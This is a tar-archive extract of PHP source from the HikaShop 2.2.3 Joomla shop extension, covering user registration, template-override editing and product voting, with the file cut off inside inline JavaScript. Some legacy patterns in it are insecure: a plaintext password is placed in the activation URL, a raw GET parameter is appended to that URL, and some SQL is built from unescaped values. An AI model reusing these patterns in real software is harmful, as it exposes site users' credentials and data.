user_created_ip='.$this->database->Quote($ip).' AND
click_created > '.(time()-$lead_min_delay*3600);
		$this->database->setQuery($query);
		return $this->database->loadResult();
	}

	function
register(&$checkout,$page='checkout',$redirect=true){
		$config =& hikashop_config();
		$app = JFactory::getApplication();

		$user 		= clone(JFactory::getUser());
		$authorize	= JFactory::getACL();
		$simplified = $config->get('simplified_registration',0);

		$display = $config->get('display_method',0);
		if(!hikashop_level(1)) $display = 0;
		if($display==1) {
			$simplified = explode(',',$simplified);
			if($page=='checkout') {
				$formData = JRequest::getVar( 'data', array(), '',
'array' );
				if(in_array(@$formData['register']['registration_method'],$simplified)){
					$simplified =
$formData['register']['registration_method'];
				}else{
					$simplified = array_shift($simplified);
				}
			} elseif($page=='user') {
				$simplified = array_shift($simplified);
			}
		}

		if($simplified!=2){
			jimport('joomla.application.component.helper');
			$usersConfig = JComponentHelper::getParams( 'com_users' );
			if ($usersConfig->get('allowUserRegistration') ==
'0') {
				JError::raiseError( 403, JText::_( 'Access Forbidden' ));
				return false;
			}

			$newUsertype = $usersConfig->get( 'new_usertype' );
			if (!$newUsertype) {
				if(!HIKASHOP_J16){
					$newUsertype = 'Registered';
				}else{
					$newUsertype = 2;
				}
			}
		}

		$fieldClass = hikashop_get('class.field');
		$old = null;
		$this->registerData =
$fieldClass->getInput('register',$old,!@$checkout->cart_update);
		$userData =
$fieldClass->getInput('user',$old,!@$checkout->cart_update);
		$addressData =
$fieldClass->getInput('address',$old,!@$checkout->cart_update);

		if($this->registerData===false || $addressData===false ||
$userData===false){
			return false;
		}

		if(empty($this->registerData->name)){
			$this->registerData->name =
@$addressData->address_firstname.(!empty($addressData->address_middle_name)?'
'.$addressData->address_middle_name:'').(!empty($addressData->address_lastname)?'
'.$addressData->address_lastname:'');
			if(empty($this->registerData->name) &&
!empty($this->registerData->email)){
				$parts = explode('@',$this->registerData->email);
				$this->registerData->name = array_shift($parts);
			}
		}

		if($simplified == 1){
			$this->registerData->username = $this->registerData->email;
			jimport('joomla.user.helper');
			$this->registerData->password = JUserHelper::genRandomPassword();
			$this->registerData->password2 =
$this->registerData->password;
		}else if ($simplified == 3) {
			$this->registerData->username = $this->registerData->email;
		}

		$data = get_object_vars($this->registerData);
		JRequest::setVar('main_user_data',$data);
		if(!empty($addressData->address_vat)){
			$vat = hikashop_get('helper.vat');
			if(!$vat->isValid($addressData)){
				$app->enqueueMessage( JText::_('VAT_NUMBER_NOT_VALID') );
				return false;
			}
		}

		if($simplified!=2){
			if(HIKASHOP_J16){
				$data['groups']=array($newUsertype=>$newUsertype);
			}
			if(HIKASHOP_J25){
				$jconfig = JFactory::getConfig();
				if(HIKASHOP_J30){
					$locale = $jconfig->get('language');
				}else{
					$locale = $jconfig->getValue('config.language');
				}
				$data['params']=array('site_language'=>$locale,'language'=>$locale);
			}
			if (!$user->bind( $data, 'usertype' )) {
				JError::raiseError( 500, $user->getError());
			}

			$user->set('id', 0);
			if(!HIKASHOP_J16){
				$user->set('usertype', $newUsertype);
				$user->set('gid', $authorize->get_group_id(
'', $newUsertype, 'ARO' ));
			}
			$date = JFactory::getDate();
			if(HIKASHOP_J30){
				$user->set('registerDate', $date->toSql());
			}else{
				$user->set('registerDate', $date->toMySQL());
			}

			$useractivation = $usersConfig->get( 'useractivation' );
			if ($useractivation > 0){
				jimport('joomla.user.helper');
				if(HIKASHOP_J30){
					$user->set('activation', JApplication::getHash(
JUserHelper::genRandomPassword()) );
				}else{
					$user->set('activation', JUtility::getHash(
JUserHelper::genRandomPassword()) );
				}
				$user->set('block', '1');
			}

			if ( !$user->save() ){
				JError::raiseWarning('', JText::_( $user->getError()));
				return false;
			}
			$newUser = $this->get($user->id,'cms');
		}

		if(!empty($newUser)){
			$userData->user_id = $newUser->user_id;
		}elseif(!empty($user->id)){
			$userData->user_cms_id = $user->id;
		}else{
			$userData->user_email = $this->registerData->email;
		}

		if($config->get('affiliate_registration',0)){
			if(JRequest::getInt('hikashop_affiliate_checkbox',0)){
				$userData->user_partner_activated=1;
				$this->registerData->user_partner_activated=1;
			}
		}

		if($simplified==2){
			$this->database->setQuery('SELECT * FROM
'.hikashop_table('user').' WHERE user_email =
'.$this->database->Quote($userData->user_email));
			$userInDB = $this->database->loadObject();
			if(@$userInDB->user_cms_id){
				JError::raiseWarning('',
JText::_('EMAIL_ADDRESS_ALREADY_USED'));
				return false;
			}
			$this->user_id = 0;
			if(isset($userInDB->user_id)){
				$this->user_id = $userInDB->user_id;
			}
			if(!$this->user_id){
				$this->user_id = $this->save($userData);
			}

			$query = 'UPDATE '.hikashop_table('address').'
AS a SET a.address_published=0 WHERE
a.address_user_id='.(int)$this->user_id.' and
a.address_published=1';
			$this->database->setQuery($query);
			$this->database->query();

			$cartClass = hikashop_get('class.cart');
			$cart = $cartClass->loadCart();
			if(!is_object($cart)) $cart = new stdClass();
			$cart->user_id = $this->user_id;
			$cartClass->save($cart);
		}else{
			$this->user_id = $this->save($userData);
		}
		if(isset($addressData->address_id)){
			unset($addressData->address_id);
		}
		$this->registerData->user_id = $this->user_id;
		if(!empty($addressData)){
			$addressData->address_user_id = $this->user_id;
			$addressClass = hikashop_get('class.address');
			$this->address_id = $addressClass->save($addressData);
		}

		if($simplified!=2){
			$mailClass = hikashop_get('class.mail');
			$this->registerData->user_data =& $userData;
			$this->registerData->address_data =& $addressData;
			$this->registerData->password =
preg_replace('/[\x00-\x1F\x7F]/', '',
@$this->registerData->password); //Disallow control chars in the
email
			$this->registerData->active = $useractivation;
			$vars =
urlencode(base64_encode(serialize(array('passwd'=>$this->registerData->password,'username'=>$this->registerData->username))));
			global $Itemid;
			$url = '';
			if(!empty($Itemid)){
				$url='&Itemid='.$Itemid;
			}

			$this->registerData->activation_url =
HIKASHOP_LIVE.'index.php?option=com_hikashop&ctrl=checkout&task=activate&activation='.$user->get('activation').'&infos='.$vars.'&page='.$page.'&id='.$this->user_id.$url.'&lang='.@$_GET['lang'];
			$this->registerData->partner_url=
HIKASHOP_LIVE.'index.php?option=com_hikashop&ctrl=affiliate&task=show'.$url;
			$mail =
$mailClass->get('user_account',$this->registerData);
			if(!empty($this->registerData->email)){
				$mail->subject =
JText::sprintf($mail->subject,@$this->registerData->name,HIKASHOP_LIVE);
				$mail->dst_email =& $this->registerData->email;
				if(!empty($this->registerData->name)){
					$mail->dst_name =& $this->registerData->name;
				}else{
					$mail->dst_name = '';
				}
				$mailClass->sendMail($mail);

				jimport('joomla.application.component.helper');
				$params = JComponentHelper::getParams( 'COM_USERS' );
				if($params->get( 'mail_to_admin', '0')){
					$mail =
$mailClass->get('user_account_admin_notification',$this->registerData);
					$mail->subject =
JText::sprintf($mail->subject,@$this->registerData->name,HIKASHOP_LIVE);
					$mail->dst_email =
explode(',',$config->get('from_email'));
					$mailClass->sendMail($mail);
				}
			}
			if ($useractivation > 0 && $redirect){
				$lang = JFactory::getLanguage();
				$lang->load('com_user',JPATH_SITE);
				$message  = JText::_( 'HIKA_REG_COMPLETE_ACTIVATE' );
				$app->enqueueMessage($message);
				if($page=='checkout'){
					$message  = JText::_( 'WHEN_CLICKING_ACTIVATION' );
					$app->enqueueMessage($message);
				}
				$locale = strtolower(substr($lang->get('tag'),0,2));
				$app->redirect(hikashop_completeLink('checkout&task=activate_page&lang='.$locale,false,true));
			}elseif(file_exists(JPATH_ROOT.DS.'components'.DS.'com_comprofiler'.DS.'comprofiler.php')){
				$newUser = $this->get($this->user_id);
				$this->addAndConfirmUserInCB($newUser,$addressData);
			}

		}

		return true;
	}

	function addAndConfirmUserInCB($newUser,$addressData=null){
		if(is_null($addressData)){
			$addressClass = hikashop_get('class.address');
			$addresses = $addressClass->getByUser($newUser->user_id);
			$addressData = reset($addresses);
		}
		$fields =
array('cbactivation','id','user_id','approved','confirmed');
		$values =
array('\'\'',(int)$newUser->user_cms_id,(int)$newUser->user_cms_id,1,1);
		if(!empty($addressData->address_firstname)){
			$fields[]='firstname';
			$values[]=$this->database->Quote($addressData->address_firstname);
		}
		if(!empty($addressData->address_middle_name)){
			$fields[]='middlename';
			$values[]=$this->database->Quote($addressData->address_middle_name);
		}
		if(!empty($addressData->address_lastname)){
			$fields[]='lastname';
			$values[]=$this->database->Quote($addressData->address_lastname);
		}
		$fields = implode(',',$fields);
		$values = implode(',',$values);
		$this->database->setQuery('REPLACE #__comprofiler
('.$fields.') VALUES ('.$values.')');
		$this->database->query();
	}
}
view.php000064400000010651151160302620006226 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopViewClass extends hikashopClass{

	function saveForm(){
		$id = JRequest::getString('id');
		$element = $this->get($id);

		if(!$element) return false;

		$duplicate = trim(JRequest::getString('duplicate',
'', 'post'));
		if(!empty($duplicate) && substr($duplicate,0,1) != '.'
&& substr($duplicate,0,1) != '/' &&
substr($duplicate,0,1) != '\\' ) {
			$name = explode('_', $element->filename, 2);
			$override = substr($element->override, 0, -strlen($name[1])) .
$duplicate.'.php';
			if($element->override != $override) {
				if(!file_exists($override)) {
					$element->override = $override;
				} else {
					$app = JFactory::getApplication();
					$app->enqueueMessage(JText::_('CANT_DUPLICATE_ON_EXISTING_FILE'));
					return false;
				}
			}
		}

		$element->content = JRequest::getVar('filecontent',
'', 'post', 'string', JREQUEST_ALLOWRAW);
		$result = $this->save($element);
		return $result;
	}

	function save(&$element){
		jimport('joomla.client.helper');
		JClientHelper::setCredentialsFromRequest('ftp');
		$ftp = JClientHelper::getCredentials('ftp');

		jimport('joomla.filesystem.file');
		$result = JFile::write($element->override, $element->content);

		if (!$result){
			if(!$ftp['enabled'] &&
!JPath::setPermissions($element->override, '0755')) {
				JError::raiseNotice('SOME_ERROR_CODE',
JText::sprintf('FILE_NOT_WRITABLE',$element->override));
			}
			$result = JFile::write($element->override, $element->content);
			if (!$ftp['enabled']) {
				JPath::setPermissions($element->override, '0555');
			}
		}

		return $result;
	}

	function delete(&$id){
		$element = $this->get(reset($id));
		if(!$element){
			return false;
		}
		jimport('joomla.filesystem.file');

		if(!JFile::exists($element->override)){
			return true;
		}
		jimport('joomla.client.helper');
		JClientHelper::setCredentialsFromRequest('ftp');
		$ftp = JClientHelper::getCredentials('ftp');
		if (!$ftp['enabled'] &&
!JPath::setPermissions($element->override, '0755')) {
			JError::raiseNotice('SOME_ERROR_CODE',
JText::sprintf('FILE_NOT_WRITABLE',$element->override));
		}

		$result = JFile::delete($element->override);
		return $result;
	}

	function get($id,$default=null){
		$parts = explode('|',$id);
		if(count($parts)!=6){
			return false;
		}
		$obj = new stdClass();
		$obj->id = $id;
		$obj->client_id = (int)$parts[0];
		$obj->template = $parts[1];
		$obj->type = $parts[2];
		$obj->type_name = $parts[3];
		$obj->view = $parts[4];
		$obj->filename = $parts[5];

		if($obj->type=='plugin'){
			$obj->folder = rtrim(JPATH_PLUGINS,DS).DS.$obj->type_name.DS;
		}else{
			if($obj->type_name == HIKASHOP_COMPONENT) {
				switch($obj->client_id){
					case 0:
						$view = HIKASHOP_FRONT.'views'.DS;
						break;
					case 1:
						$view = HIKASHOP_BACK.'views'.DS;
						break;
					default:
						return false;
				}
			} else {
				$view = '';
				JPluginHelper::importPlugin('hikashop');
				$dispatcher = JDispatcher::getInstance();
				$pluginViews = array();
				$dispatcher->trigger('onViewsListingFilter',
array(&$pluginViews, $obj->client_id));
				if(!empty($pluginViews)) {
					foreach($pluginViews as $pluginView) {
						if($pluginView['client_id'] == $obj->client_id
&& $pluginView['component'] == $obj->type_name) {
							$view = $pluginView['view'];
							$obj->type_pretty_name = $pluginView['name'];
							break;
						}
					}
				}
				if(empty($view)) {
					return false;
				}
			}
			$obj->folder = $view.$obj->view.DS.'tmpl'.DS;
		}
		$obj->path = $obj->folder.$obj->filename;

		$obj->file = substr($obj->filename,0,strlen($obj->filename)-4);
		$client	= JApplicationHelper::getClientInfo($obj->client_id);
		$tBaseDir = $client->path.DS.'templates';
		$templateFolder = $tBaseDir.DS.$obj->template.DS;
		$obj->override =
$templateFolder.'html'.DS.$obj->type_name.DS;
		if($obj->type=='component'){
			$obj->override .= $obj->view.DS;
		}
		$obj->override .= $obj->filename;
		$obj->overriden=false;
		if(file_exists($obj->override)){
			$obj->overriden=true;
			$obj->edit = $obj->override;
		}else{
			$obj->edit = $obj->path;
		}
		return $obj;
	}
}
vote.php000064400000074741151160302620006243 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopVoteClass extends hikashopClass {
	var $tables = array('vote');
	var $pkeys = array('vote_id');
	var $toggle = array('vote_published'=>'vote_id');
	var $votePublished =
array('vote_published'=>'vote_id');

	function save(&$element) {
		$app = Jfactory::getApplication();
		if($app->isAdmin()) {
			return $this->saveBackend($element);
		}
		return $this->saveFrontend($element);
	}

	function saveBackend(&$element) {
		$app = JFactory::getApplication();
		$db	= JFactory::getDBO();
		if(!$app->isAdmin()) {
			return false;
		}

		JPluginHelper::importPlugin('hikashop');
		$dispatcher = JDispatcher::getInstance();
		$currentElement = new stdClass();

		if($element->vote_id == 0) {
			if(empty($element->vote_ref_id)) {
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_('VOTE_ENTER_ITEM_ID'),
'message');
				return false;
			}

			if($element->vote_type == 'product') {
				$db->setQuery('SELECT product_id FROM
'.hikashop_table(''.$element->vote_type.'').'
WHERE product_id = '.$element->vote_ref_id.' AND
product_parent_id = 0');
				$currentElement = $db->loadResult();
			} else {
				$do = true;
				$dispatcher->trigger('onBeforeVoteCreate', array(
&$element, &$do, &$currentElement ) );
				if(!$do){
					return false;
				}
			}
			if(!$currentElement) {
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_('WRONG_ITEM_ID'),
'message');
				return false;
			}
		} else {
			$do = true;
			$dispatcher->trigger('onBeforeVoteUpdate', array(
&$element, &$do, &$currentElement ) );
			if(!$do){
				return false;
			}
		}

		if(empty($element->vote_type)) {
			$db->setQuery('SELECT vote_type FROM
'.hikashop_table('vote').' WHERE vote_id =
'.$element->vote_id);
			$vote_type = $db->loadResult();
		}else{
			$vote_type = $element->vote_type;
		}

		$vote_id = $element->vote_id;
		$new_published = $element->vote_published;
		$new_rating =
isset($element->vote_rating)?$element->vote_rating:'0';
		if($vote_id == 0) {
			$vote_ref_id = $element->vote_ref_id;
		} else {
			$results = $this->get($vote_id);
			$old_rating = $results->vote_rating;
			$vote_ref_id = $results->vote_ref_id;
			$old_published = $results->vote_published;
		}

		$status = parent::save($element);
		if($status  && ($element->vote_id != 0 ||
($element->vote_id == 0 && (int)$new_rating != 0))){
			if($vote_type == 'product') {
				$typeClass = hikashop_get('class.product');
				$results = $typeClass->get($vote_ref_id);
				$average_score = $results->product_average_score;
				$total_vote = $results->product_total_vote;
			} else {
				if(!isset($currentElement->average_score) ||
!isset($currentElement->total_vote)) {
					return false;
				}
				$average_score = $currentElement->average_score;
				$total_vote = $currentElement->total_vote;
			}

			if($vote_id == '0'){ //new vote (only backend vote)
				if($new_published == 1){
					$average_score = (($average_score *
$total_vote)+$new_rating)/($total_vote + 1);
					$total_vote = ($total_vote + 1);
				}
			}else if($old_published == '0'){ //Published - Unpublished
				if($new_published == 1 && $old_rating != 0){ //on publie
					if($new_rating == 0){$new_rating = $old_rating;}
					$average_score = (($average_score *
$total_vote)+$new_rating)/($total_vote + 1);
					$total_vote = ($total_vote + 1);
				}
			}else{ // Save
				if($new_rating != '0' || $new_rating != ''){
					if($old_published == 1){
						if($new_published == 0){
							if($old_rating != 0){ //update average & total - 1
								if($total_vote - 1 == 0){
									$average_score = 0; $total_vote = 0;
								}else{
									$average_score = (($average_score *
$total_vote)-$old_rating)/($total_vote - 1);
									$total_vote = ($total_vote - 1);
								}
							}
						}else{
							if($old_rating != 0 && $new_rating == 0){ //update average
& total - 1
								if($total_vote - 1 == 0){
									$average_score = 0; $total_vote = 0;
								}else{
									$average_score = (($average_score *
$total_vote)-$old_rating)/($total_vote - 1);
									$total_vote = ($total_vote - 1);
								}
							}else if($old_rating != 0 && $new_rating != 0){ //update
average
								$average_score = (($average_score *
$total_vote)-$old_rating)/($total_vote - 1);
								$average_score = (($average_score * ($total_vote -
1))+$new_rating)/$total_vote;
							}else if($old_rating == 0 && $new_rating != 0){ //update
average & total + 1
								$average_score = (($average_score *
$total_vote)+$new_rating)/($total_vote + 1);
								$total_vote = ($total_vote + 1);
							}
						}
					}else{
						if($new_published == 1 && $new_rating != 0){ //update average
& total +1
							$average_score = (($average_score *
$total_vote)+$new_rating)/($total_vote + 1);
							$total_vote = ($total_vote + 1);
						}
					}
				}
			}

			$element->average_score = $average_score;
			$element->total_vote = $total_vote;

			$type = new stdClass();
			if($vote_type == 'product'){
				$type->product_id = (int)$vote_ref_id;
				$type->product_average_score = strip_tags($average_score);
				$type->product_total_vote = strip_tags($total_vote);
				$typeClass->save($type,true);
			}

			$dispatcher->trigger('onAfterVoteUpdate', array(
&$element ) );
		}
		return $status;
	}

	function saveFrontend(&$element) {
		$db = JFactory::getDBO();
		$config = hikashop_config();
		$user_ip = hikashop_getIP();
		$date = time();
		$nb_comment = 0;
		if(empty($element->user_id) || (int)$element->user_id == 0)
			$element->user_id = $user_ip;

		if(empty($element->vote_type))
			$element->vote_type = 'product';

		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$do = true;
		$currentElement = new stdClass();
		$dispatcher->trigger('onBeforeVoteCreate', array(
&$element, &$do, &$currentElement ) );
		if(!$do){
			return false;
		}

		$vElement = new stdClass();
		$vElement->vote_ref_id = (int)$element->vote_ref_id;
		$vElement->vote_type = strip_tags($element->vote_type);
		$vElement->vote_user_id = strip_tags($element->user_id);
		$vElement->vote_pseudo = strip_tags($element->pseudo_comment);
		$vElement->vote_ip = strip_tags($user_ip);
		$vElement->vote_email = strip_tags($element->email_comment);
		$vElement->vote_date = $date;

		$comment_by_person_by_product =
$config->get('comment_by_person_by_product');
		$send_email = $config->get('email_each_comment');
		$vote_if_bought = ($config->get('access_vote', 0) ==
'buyed');

		$purchased = 0;
		if($vote_if_bought == 1 && $vElement->vote_type ==
'product') {
			$query = 'SELECT order_id FROM
'.hikashop_table('order').' WHERE order_user_id =
'.$db->quote($element->user_id).'';
			$db->setQuery($query);
			if(!HIKASHOP_J25){
				$order_ids = $db->loadResultArray();
			} else {
				$order_ids = $db->loadColumn();
			}
			if(!empty($order_ids)) {
				$query = 'SELECT product_id FROM
'.hikashop_table('product').' WHERE product_parent_id =
'.(int)$vElement->vote_ref_id.'';
				$db->setQuery($query);
				if(!HIKASHOP_J25){
					$product_ids = $db->loadResultArray();
				} else {
					$product_ids = $db->loadColumn();
				}
				if(empty($product_ids)) {
					$product_ids =  array(0 => 0);
				}
				$query = 'SELECT order_product_id FROM
'.hikashop_table('order_product').' WHERE order_id IN
('.implode(',',$order_ids).') AND product_id =
'.(int)$vElement->vote_ref_id.' OR product_id IN
('.implode(',',$product_ids).')';
				$db->setQuery($query);
				$result = $db->loadObjectList();
				if(!empty($result))
					$purchased = 1;
			}
		}

		if($element->hikashop_vote_type == 'useful') {
			$useful = JRequest::getVar('value', 0, 'default',
'int');
			$vote_id = JRequest::getVar('hikashop_vote_id', 0,
'default', 'int');
			$element->user_id =
JRequest::getVar('hikashop_vote_user_id', 0, 'default',
'int');
			if(empty($element->user_id))
				$element->user_id = $user_ip;

			$already_vote = 0;
			$useful_old	= 0;

			$query = 'SELECT vote_user_useful FROM
'.hikashop_table('vote_user').' WHERE vote_user_id =
'.(int)$vote_id.' AND vote_user_user_id =
'.$db->quote($element->user_id).'';
			$db->setQuery($query);
			$already_vote = $db->loadResult();

			if($already_vote > 0) {
				echo '2';
				exit;
			}

			$voteClass = hikashop_get('class.vote');
			$results = $voteClass->get((int)$vote_id);
			$useful_old = $results->vote_useful;

			if($useful == 1) {
				 $useful_new = ($useful_old + 1);
			} else {
				$useful_new = ($useful_old - 1);
			}
			$vElement->vote_id = (int)$vote_id;
			$vElement->vote_useful = strip_tags($useful_new);

			$useful = new stdClass();
			$useful->vote_id = (int)$vote_id;
			$useful->vote_useful = (int)$useful_new;
			$updated = parent::save($useful);

			if($updated) {
				$dispatcher->trigger('onAfterVoteUpdate', array(
&$element, $useful ) );

				$query = 'INSERT INTO
'.hikashop_table('vote_user').'
(vote_user_id,vote_user_user_id,vote_user_useful) VALUES
('.(int)$vote_id.','.$db->quote($element->user_id).',1)';
				$db->setQuery($query);
				$db->query();
				if( $db->getAffectedRows() > 0 ) {
					echo '1';
				}
			}
			exit;
		}

		if($vote_if_bought && !$purchased) {
			echo '3';
			exit;
		}

		if($vElement->vote_type == 'product'){
			$typeClass = hikashop_get('class.product');
			$results = $typeClass->get($vElement->vote_ref_id);
			$hikashop_vote_average_score = $results->product_average_score;
			$hikashop_vote_total_score = $results->product_total_vote;
		} else {
			if(!isset($currentElement->average_score) ||
!isset($currentElement->total_vote)) {
				echo '4';
				exit;
			}
			$hikashop_vote_average_score = $currentElement->average_score;
			$hikashop_vote_total_score = $currentElement->total_vote;
		}

		$hikashop_vote_total_score_new	= ($hikashop_vote_total_score + 1);
		$hikashop_vote_average_score_new = ((($hikashop_vote_average_score *
$hikashop_vote_total_score)+$element->vote)/($hikashop_vote_total_score_new));

		$vote_id = '';
		$vote_old =  '';

		$query = 'SELECT * FROM
'.hikashop_table('vote').' WHERE vote_type =
'.$db->quote($vElement->vote_type).' AND vote_ref_id =
'.(int)$vElement->vote_ref_id.' AND (vote_user_id =
'.$db->quote($element->user_id).' OR vote_ip =
'.$db->quote($user_ip).') AND vote_rating != 0';
		$db->setQuery($query);
		$result = $db->loadObject();
		if(!empty($result)){
			$vote_id = $result->vote_id;
			$vote_old = $result->vote_rating;
			$published = $result->vote_published;
		}

		$query = 'SELECT vote_comment FROM
'.hikashop_table('vote').' WHERE vote_type =
'.$db->quote($vElement->vote_type).' AND vote_ref_id =
'.(int)$vElement->vote_ref_id.' AND vote_user_id =
'.$db->quote($element->user_id).' AND vote_comment !=
\'\'';
		$db->setQuery($query);
		$results = $db->loadObjectList();
		foreach($results as $result) {
			$nb_comment++;
		}

		if($element->hikashop_vote_type == 'vote') {
			$vElement->vote_rating = strip_tags($element->vote);
			$vElement->vote_comment = '';

			if(!empty($vote_id)){
				$vElement->vote_id = $vote_id;
				if(!empty($hikashop_vote_total_score))
					$hikashop_vote_average_score_new = (((($hikashop_vote_average_score *
$hikashop_vote_total_score) - $vote_old) + $element->vote) /
$hikashop_vote_total_score);

				$updated = parent::save($vElement);
				if($updated && $published == 1) {
					if($vElement->vote_type == 'product') {
						$type = new stdClass();
						$type->product_id = (int)$vElement->vote_ref_id;
						$type->product_average_score = $hikashop_vote_average_score_new;
						$type->product_total_vote = (int)$hikashop_vote_total_score;

						$typeClass->save($type, true);
					}

					$element->average_score = $hikashop_vote_average_score_new;
					$element->total_vote = (int)$hikashop_vote_total_score;

					$dispatcher->trigger('onAfterVoteUpdate', array(
&$element ) );
				}
				echo '1';
			} else {
				$inserted = parent::save($vElement);
				if($inserted){
					if($vElement->vote_type == 'product') {
						$type = new stdClass();
						$type->product_id = (int)$vElement->vote_ref_id;
						$type->product_average_score = $hikashop_vote_average_score_new;
						$type->product_total_vote = (int)$hikashop_vote_total_score_new;

						$typeClass->save($type, true);
					}

					$element->average_score = $hikashop_vote_average_score_new;
					$element->total_vote = (int)$hikashop_vote_total_score_new;

					$dispatcher->trigger('onAfterVoteUpdate', array(
&$element ) );
				}
				echo '2';
			}
			exit;
		}

		jimport('joomla.filter.filterinput');
		$safeHtmlFilter = JFilterInput::getInstance(null, null, 1, 1);
		$config = hikashop_config();
		$vElement->vote_published =
$config->get('published_comment', 0);

		if($element->hikashop_vote_type == 'both') {
			$vElement->vote_rating = strip_tags($element->vote);
			$vElement->vote_comment =
$safeHtmlFilter->clean($element->comment, 'string');
			if($nb_comment < $comment_by_person_by_product) {
				$inserted = parent::save($vElement);
				if($inserted) {
					if($vElement->vote_type == 'product') {
						$type = new stdClass();
						$type->product_id = (int)$vElement->vote_ref_id;
						$type->product_average_score = $hikashop_vote_average_score_new;
						$type->product_total_vote = (int)$hikashop_vote_total_score_new;

						$typeClass->save($type,true);
					}

					$element->average_score = $hikashop_vote_average_score_new;
					$element->total_vote = (int)$hikashop_vote_total_score;

					$dispatcher->trigger('onAfterVoteUpdate', array(
&$element ) );

					if(!empty($send_email)) {
						$vote_id = $db->insertid();
						$this->sendNotifComment($vote_id,
strip_tags($element->comment),(int)$vElement->vote_ref_id,(int)$element->user_id,
strip_tags($element->pseudo_comment),
strip_tags($element->email_comment), $vElement->vote_type);
					}
					echo '1';
				} else {
					echo '0';
				}
			} else {
				echo '2';
			}
			exit;
		}

		if($element->hikashop_vote_type == 'comment') {


			$vElement->vote_rating = '0';
			$vElement->vote_comment =
$safeHtmlFilter->clean($element->comment, 'string');
			if($nb_comment < $comment_by_person_by_product) {
				$inserted = parent::save($vElement);
				$vote_id = 0;
				if($inserted) {
					$dispatcher->trigger('onAfterVoteUpdate', array(
&$element ) );

					if($send_email != '') {
						$vote_id = $db->insertid();
						$this->sendNotifComment($vote_id,
strip_tags($element->comment),(int)$vElement->vote_ref_id,(int)$element->user_id,
strip_tags($element->pseudo_comment),
strip_tags($element->email_comment), $vElement->vote_type);
					}
					echo '1';
				} else {
					echo '0';
				}
			} else {
				echo '2';
			}
		}
		exit;
	}

	function delete(&$elements){
		$db = JFactory::getDBO();
		JArrayHelper::toInteger($elements);
		JPluginHelper::importPlugin('hikashop');
		$dispatcher = JDispatcher::getInstance();
		$do = true;
		$currentElements = array();
		$dispatcher->trigger('onBeforeVoteDelete',
array(&$elements, &$do, &$currentElements) );
		if(!$do)
			return false;

		$db->setQuery('SELECT vote_id, vote_rating, vote_ref_id,
vote_published, vote_type FROM
'.hikashop_table('vote').' WHERE vote_id IN
('.implode(',',$elements).')');
		$results = $db->loadObjectList();

		foreach($results as $result) {
			$vote_rating = $result->vote_rating;
			$vote_ref_id = $result->vote_ref_id;
			$vote_published = $result->vote_published;

			if($result->vote_type == 'product'){
				$productClass =
hikashop_get('class.'.$result->vote_type);
				$resultVote = $productClass->get($vote_ref_id);
				$average_score = @$resultVote->product_average_score;
				$total_vote = @$resultVote->product_total_vote;
			} else {
				$element = $currentElements[$result->vote_id];
				if(!isset($element->average_score) ||
!isset($element->total_vote)) {
					return false;
				}
				$average_score = $element->average_score;
				$total_vote = $element->total_vote;
			}


			$status = parent::delete($result->vote_id);
			if($status) {
				$query = 'DELETE FROM
'.hikashop_table('vote_user').' WHERE vote_user_id =
'.(int)$result->vote_id.' ';
				$db->setQuery($query);
				$db->query();
				if($vote_published == 1 && $vote_rating != 0) {
					if($total_vote - 1 == 0) {
						$average_score = 0;
						$total_vote = 0;
					}else{
						$average_score = ((($average_score *
$total_vote)-$vote_rating)/($total_vote - 1));
						$total_vote	= ($total_vote - 1);
					}

					$element->vote_id = (int)$result->vote_id;
					$element->vote_ref_id = (int)$result->vote_ref_id;
					$element->average_score = $average_score;
					$element->total_vote = $total_vote;

					if($result->vote_type == 'product'){
						$product = new stdClass();
						$product->product_id = (int)$vote_ref_id;
						$product->product_average_score = $average_score;
						$product->product_total_vote = (int)$total_vote;

						$productClass->save($product,true);
					}
				}

				$dispatcher->trigger('onAfterVoteDelete',
array(&$element) );
			}
		}
		return true;
	}

	function saveForm(){
		$element = new stdClass();
		$element->vote_id = hikashop_getCID('vote_id');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['vote'] as $column => $value){
			hikashop_secureField($column);
			if($column=='vote_comment'){
				$safeHtmlFilter = & JFilterInput::getInstance(null, null, 1, 1);
				$element->$column = $safeHtmlFilter->clean($value);
			}else{
				$element->$column = strip_tags($value);
			}
		}
		$result = $this->save($element);
		return $result;
	}

	function loadJS() {
		static $done = false;
		if($done)
			return true;
		$done = true;

		$current_url = hikashop_currentURL();

		$baseUrl =
hikashop_completelink('vote&task=save&'.hikashop_getFormToken().'=1');
		$ajaxUrl =
hikashop_completelink('vote&task=save',true,true);
		if(strpos($baseUrl, '?') !== false)
			$baseUrl .= '&';
		else
			$baseUrl .= '?';

		$config = hikashop_config();
		$email_comment = $config->get('email_comment', 0);

		if($config->get('enable_status_vote', 0) ==
'both')
			$vote_comment = 1;
		else
			$vote_comment = 0;

		$note_comment = $config->get('register_note_comment', 0);
		if($config->get('access_vote', 0) == 'buyed' ||
$config->get('access_vote', 0) == 'registered')
			$hikashop_vote_con_req = 1;
		else
			$hikashop_vote_con_req = 0;

		$js = '
function trim(myString){
	myString =
myString.replace(/(^\s|&)+/g,\'\').replace(/\s+$/g,\'\').replace(/\\n/g,\'<br
\/>\');
	return myString;
}

function hikashop_vote_useful(hikashop_vote_id,val){
	var hikashop_vote_user_id =
document.getElementById("hikashop_vote_user_id").value;
	var hikashop_vote_note_comment 	= ' . $note_comment . ';
	if((hikashop_vote_note_comment == 1 && hikashop_vote_user_id !=
"") || hikashop_vote_note_comment == 0){
		data = "hikashop_vote_type=useful";
		data += "&value=" + encodeURIComponent(val);
		data += "&hikashop_vote_id=" +
encodeURIComponent(hikashop_vote_id);
		data += "&hikashop_vote_user_id=" +
encodeURIComponent(hikashop_vote_user_id);
		window.Oby.xRequest("'.$ajaxUrl.'", {mode:
"POST", data: data}, function(xhr) {
